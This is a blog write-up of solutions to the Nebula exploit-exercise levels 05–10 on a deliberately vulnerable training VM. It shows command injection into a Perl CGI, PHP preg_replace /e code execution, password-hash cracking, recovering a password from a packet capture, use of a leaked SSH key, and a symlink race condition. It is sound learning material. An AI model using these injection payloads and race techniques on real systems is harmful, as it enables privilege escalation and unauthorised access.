Jonatan Haltorp Blog

Nebula Exploit Exercises {05..10}

This post is a continuation of Nebula Exploit Exercises {00..04}, feel free to check it out! With that said, let’s dive into level05. For those of you who are playing along at home, don’t forget that the ISO used in the challenges / exercises (nebula) can be found here

level05

About

Check the flag05 home directory. You are looking for weak directory permissions

To do this level, log in as the level05 account with the password level05. Files for this level can be found in /home/flag05.

This is very straight forward, so I’ll just provide the commands I used to solve the challenge, along with some comments.

$ cd /home/flag05 && ls -Al
... # just a bunch of normal stuff like .bashrc, .profile
drwxr-xr-x 2 flag05 flag05   42 2011-11-20 20:13 .backup
drwx------ 1 flag05 flag05   40 2011-11-20 20:13 .ssh

$ # We lack read privileges on that .ssh, which if we had access to,
$ # we could login as flag05 to the local machine, provided sshd is running
$ ls -Al .backup
-rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz
$ # backups are important! :)

$ mkdir /tmp/level05 && cd /tmp/level05
$ cp /home/flag05/.backup/backup-19072011.tgz .
$ gunzip backup-19072011.tgz && ls -Al
-rw-rw-r-- 1 level05 level05 10240 2015-04-07 18:28 backup-19072011.tar
$ # Hey bro I heard you like compressed data...
$ tar xf backup-19072011.tar && ls -Al
-rw-rw-r-- 1 level05 level05 10240 2015-04-07 18:28 backup-19072011.tar
drwxr-xr-x 2 level05 level05   100 2011-07-19 02:37 .ssh

$ cd .ssh && ls -Al
-rw-r--r-- 1 level05 level05  394 2011-07-19 02:37 authorized_keys
-rw------- 1 level05 level05 1675 2011-07-19 02:37 id_rsa
-rw-r--r-- 1 level05 level05  394 2011-07-19 02:37 id_rsa.pub

$ # Well we can simply connect with ssh to localhost and
$ # if we provide the proper identity-file, it should let us in, right?
$ ssh flag05@localhost -i ./id_rsa
flag05@nebula:~ $ # \o/
flag05@nebula:~ $ getflag
You have successfully executed getflag on a target account

level06

##About

The flag06 account credentials came from a legacy unix system.

To do this level, log in as the level06 account with the password level06. Files for this level can be found in /home/flag06.

Being relatively new guy to unix, this level had me confused but I eventually solved it.

Modern unix-like systems, like Ubuntu in this case, store encrypted credentials in /etc/shadow (or /etc/master.passwd on BSDs), but that wasn’t always the case. Before there was /etc/shadow, encrypted passwords was stored in /etc/passwd.

Nowadays, a typical entry in /etc/passwd can look something like the following.

username:x:123:123::/home/username:/bin/bash

In the second field, character x (sometimes *) indicates that the users password is stored in /etc/shadow.

$ grep flag06 /etc/passwd
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

We know it’s legacy, which means it’s been around for a while. If it’s been around for a while, someone must have come up with a way to crack it, right?

In fact, cracking these passwords can be achieved through the use of a program called John the ripper. The source for John the ripper is available for download over at Openwall. Once downloaded & compiled All we need to do is basically run the program, giving it the part of the /etc/passwd we care about.

$ grep flag06 /etc/passwd > ./flag06
$ john-1.8.0/run/john ./flag06 --show
flag06:hello:993:993::/home/flag06:/bin/sh

1 password hash cracked, 0 left
$ su - flag06
Password:
flag06@nebula:~ $ getflag
You have successfully executed getflag on target a account

There we go!


level07

About

The flag07 user was writing their very first Perl program that allowed them to ping hosts to see if they were reachable from the web server.

To do this level, log in as the level07 account with the password level07. Files for this level can be found in /home/flag07.

This level provides source code of file index.cgi, listed below

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");
  
}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

Passing input that can be manipulated by a user into your own command-line is a bad idea.

$ ls -Al /home/flag07
-rwxr-xr-x 1 root root 368 2011-05-18 02:54 index.cgi
-rw-r--r-- 1 root root 368 2011-05-18 02:54 thttpd.conf
... # more regular stuff like .bashrc, profile
$ # It's running thttpd, I let's see what port
$ grep port /home/flag07/thttpd.conf
# Specifies an alternate port number to listen on.
port=7007
...

We now know what port to request the page on, all that’s missing is a query that will execute getflag on the target account, right?

Using the ‘or’ operator, || in our query, like so wget localhost:7007/index.cgi?Host="x || getflag", the call to ping (@output = `ping -c 3 $host 2>&1`), turns into something like @output = `ping -c 3 x || getflag 2>&1. Because ping -c 3 x fails, our ‘or’ condition kicks in & getflag is executed.

$ wget -S localhost:7007/index.cgi?Host="x || getflag"
$ cat index.cgi\?Host\=x\ \|\|\ getflag
<html><head><title>Ping results</title></head><body><pre>You have successfully executed getflag on a target account
</pre></body></html>

Sometimes I wish I knew how to write perl. Anyways, let’s continue with level08!


level08

About

World readable files strike again. Check what that user was up to, and use it to log into flag08 account.

To do this level, log in as the level08 account with the password level08. Files for this level can be found in /home/flag08.

After trying (and failing to use wireshark) for the Noob CTF challenge a while back, when I realized this level had pcaps in them, i felt discouraged. A lot of people say Wireshark is a super awesome tool for doing network analysis, and they are probably right. But I suck at wireshark, so I went with tcpflow instead, and after a while of reading man-pages on the different options, I was able to solve the challenge.

running tcpflow -r /home/flag08/capture.pcap -c | less (-r to specify what file to read from, -c to print contents of packets to stdout) & scrolling down a couple of steps brings us the following view (IP-addresses replaced with more human-readable names).

..wwwbugs login:
localhost.39247-remote.12121: l
remote.12121-localhost.39247: .l
localhost.39247-remote.12121: e
remote.12121-localhost.39247: .e
localhost.39247-remote.12121: v
remote.12121-localhost.39247: .v
localhost.39247-remote.12121: e
remote.12121-localhost.39247: .e
localhost.39247-remote.12121: l
remote.12121-localhost.39247: .l
localhost.39247-remote.12121: 8
remote.12121-localhost.39247: .8
localhost.39247-remote.12121: 
remote.12121-localhost.39247: .
remote.12121-localhost.39247: .
Password:
localhost.39247-remote.12121: b 
localhost.39247-remote.12121: a
localhost.39247-remote.12121: c
localhost.39247-remote.12121: k
localhost.39247-remote.12121: d
localhost.39247-remote.12121: o
localhost.39247-remote.12121: o
localhost.39247-remote.12121: r
localhost.39247-remote.12121: .
localhost.39247-remote.12121: .
localhost.39247-remote.12121: .
localhost.39247-remote.12121: 0
localhost.39247-remote.12121: 0
localhost.39247-remote.12121: R
localhost.39247-remote.12121: m
localhost.39247-remote.12121: 8
localhost.39247-remote.12121: .
localhost.39247-remote.12121: a
localhost.39247-remote.12121: t
localhost.39247-remote.12121: e
localhost.39247-remote.12121: 
localhost.39247-remote.12121: .

A bad habit of mine is that sometimes when I’m typing in a password & I type the wrong character by mistake, I decide I’d rather start from the beginning. Kudos to person who entered password above and had the presence of mind to know where in his or her password the mistake was made :)

Yeah as you can probably figure out, those dots really mean backspace. Since the -c flag of tcpflow also implies -s (which convert non-printable characters to “.”), the actual character-code being sent to the server is actually backspace.

This leaves us with the password backd00Rmate, which we can use to login as flag08.

$ su - flag08
Password:
flag08@nebula:~ $ getflag
You have successfully executed getflag on target account

Happy Zizek!


level09

##About

There’s a C setuid wrapper for some vulnerable PHP code…

To do this level, log in as the level09 account with the password level09. Files for this level can be found in /home/flag09.

This level provides source code of file level9.php, listed below

<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  
  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>
$ ls -lA /home/flag09
-rwsr-x--- 1 flag09 flag09 7240 2011-11-20 21:22 flag09
-rw-r--r-- 1 root   root   491  2011-11-20 21:22 flag09.php
...

After fooling around & figuring out how I could print / access the $use_me variable when feeding the program with input, I was able to come up with a solution that worked.

We start by creating a file with some specific content, we need to match the regexp, otherwise our file-contents wont go through the sausage-machine.

$ cd /tmp
$ cat << EOF > level09_test
[email {${system($use_me)}}]
EOF

Note: I’m terrible at PHP, so my understanding might very well be completely wrong

The reason the file above acts as php-code when ran through the program is the /e in the first call to preg_replace, which basically feeds the string to eval, which allows us to slip some code in for it to execute.

Finally we put the pieces together and sigh as it actually worked, because… computers.

$ pwd
/tmp
$ /home/flag09/flag09 ./level09_test "/bin/getflag"
You have successfully executed getflag on a target account
PHP Notice: Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15): regexp code on line 1

Here’s a Stackoverflow question regarding /e, that I came across while solving the level that explains it better than me.


level10

About

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.

To do this level, log in as the level10 account with the password level10. Files for this level can be found in /home/flag10.

This level provides source code of file basic.c, If you’re interested in reading it, you can do so here.

Let’s summarize what the code does.

The program checks for error-values in each step & exits if something’s not right.

  1. Connect to a host
  2. Write some string to the hosts connection
  3. Check if we can open the specified file
  4. Read from the specified file
  5. Write the contents of the specified file

First thing I did was to lay down some code to setup a server for the program to talk to, I used python but any ol’ programming language with support for sockets should work.

# socketListener.py

# datetime is not necessary, but it helped me debug the program
import socket, datetime, os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("127.0.0.1", 18211))
s.listen(1)

while 1:
	conn, addr = s.accept()
	print("ACCP", datetime.datetime.now())
	try:
		buffer = conn.recv(4096)
		print("RECV", datetime.datetime.now())
	except Exception as e:
		print(e)
		quit(1)
	print(type(buffer))
	print("buffer:", buffer)

# TL;DR: Listen for connections on port 18211, printing accepted
# connections & received data along with timestamps. If something goes
# wrong while receiving data, print the exception & exit.

Now I could test the program & see how long it took for my server in-between it accepted a connection & actually received data.

While listening on a separate tty, I could use the program to send some files & see what happened.

cat << EOF > level10_test
Hello
:D
EOF
$ /home/flag10/flag10 ./level10_test 127.0.0.1
Connecting to 127.0.0.1:18211 .. Connected!
Sending file .. wrote file!
$ # Over at the other tty, we can see that the
$ # server received the files contents.

# on a different tty, starting & printing according to it's source above.
$ python socketListener.py
ACCP 2015-05-13 12:38:40.091829
RECV 2015-05-13 12:38:40.094904
<type 'str'>
('buffer:', '.oO Oo.\nHello\n:D\n')

Initially I thought it was possible for me to slow down the python server so much that I could (in-between the steps that the program takes) change the file I was giving the program into something else. I tried running the process in the background, immediately launching my plan like so:

$ /home/flag10/flag10 ./level10_test 127.0.0.1 & rm ./level10_test && \
  ln -s /home/flag10/token ./level10_test

And thus change the file (level10_test) into a link which points to the file we want to access. This didn’t work, we need more time.

A plan I came up with was to simply import pythons time module & sleep in between accepting & receiving from the connection.

But when I added calls to time.sleep() in between accepting & receiving the connection there were little difference. Sure the timestamps were changing according to how much the server slept; but I was still given the same error as before, Permission denied. I think this is because the client does not wait to send just because we wait to receive. Maybe there’s a way of defining some sort of delay within the socket-module, I don’t know.

I also tried slowing down execution by running the client through gdb, but I was unsuccessful in my attempts as far as I can remember at least.

I found the solution by modifying the server, if we add the following code to socketListener.py, we can make the server do the magic we want.

# ...
print("ACCP", datetime.datetime.now())

# after accepting a connection, remove the level10_test
# and link /home/flag10/token to /tmp/level10_test
fh = "/tmp/level10_test"
os.system("rm {} && ln -s /home/flag10/token {}'.format(fh,fh))

try:
# ...

Because the client checks if we have sufficient privileges to open a file (line number 55 in basic.c) and later checks if we have sufficient privileges to read from a file; We can do dirty things to that file in between those steps.

I’m pretty sure there is some fancy name for this.

With our code in place, it’s just a matter of running the command & hope we didn’t screw up.

$ /home/flag10/flag10 /tmp/flag10_test 127.0.0.1
Connecting to 127.0.0.1:18211 .. Connected!
Sending file .. wrote file!

# On the tty running socketListener.py
$ python ./socketListener.py
ACCP 2015-05-13 13:14:40.194645
RECV 2015-05-13 13:14:40.197736
<type 'str'>
('buffer:', '.oO Oo.\n615a2ce1-b2b5-4c76-8eed-8aa5c4015c27\n')

$ su - flag10
Password:
flag10@bebula:~ $ getflag
You have successfully executed getflag on a target account

We did it


And there you have it! - The first 11 levels of exploit exercises and how I solved them. I’ve been unable to solve level11 - So this is it for now, I’ll post more on the exercises when I actually progress. I’ve had a lot of fun scratching my head & coming up with solutions in these challenges & I’ll definitely look out similar things. In fact, if you know of any similar project, please tell me!

If you would like to point out an error (spelling or factual), feel free to send me a email or tweet at me somehow & I’ll gladly correct the post (contact information is located at the bottom of the page ;)

Thank you for reading!